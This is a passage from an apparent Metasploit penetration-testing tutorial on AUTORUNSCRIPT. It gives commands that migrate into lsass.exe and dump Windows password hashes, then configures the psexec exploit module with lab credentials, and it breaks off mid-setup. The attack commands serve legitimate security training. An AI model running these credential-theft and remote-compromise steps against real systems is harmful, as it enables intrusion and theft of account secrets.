Automation with AutoRunScript
During a penetration test, you want to automate as much as possible so you can focus on actions that require human interaction. To ease our task, Metasploit allows you to specify what happens after you receive a new Meterperter session using AUTORUNSCRIPT
.
How to do it...
- First, we need to create a file with the commands we want to execute. In this example, we will migrate to the
lsass.exe
process and dump the Windows hashes:
root@kali:~# cat autoruncmds.rc migrate -N lsass.exe hashdump
- Next, we will use the
exploit/windows/smb/psexec
exploit module to compromise the target and useAUTORUNSCRIPT
to specify the command we want to execute as soon as we receive a new session:
msf > use exploit/windows/smb/psexec msf exploit(psexec) > set RHOST 192.168.216.10 RHOST => 192.168.216.10 msf exploit(psexec) > set SMBUSER Administrator SMBUSER => Administrator msf exploit(psexec) > set SMBPASS vagrant SMBPASS => vagrant msf exploit(psexec) > set PAYLOAD...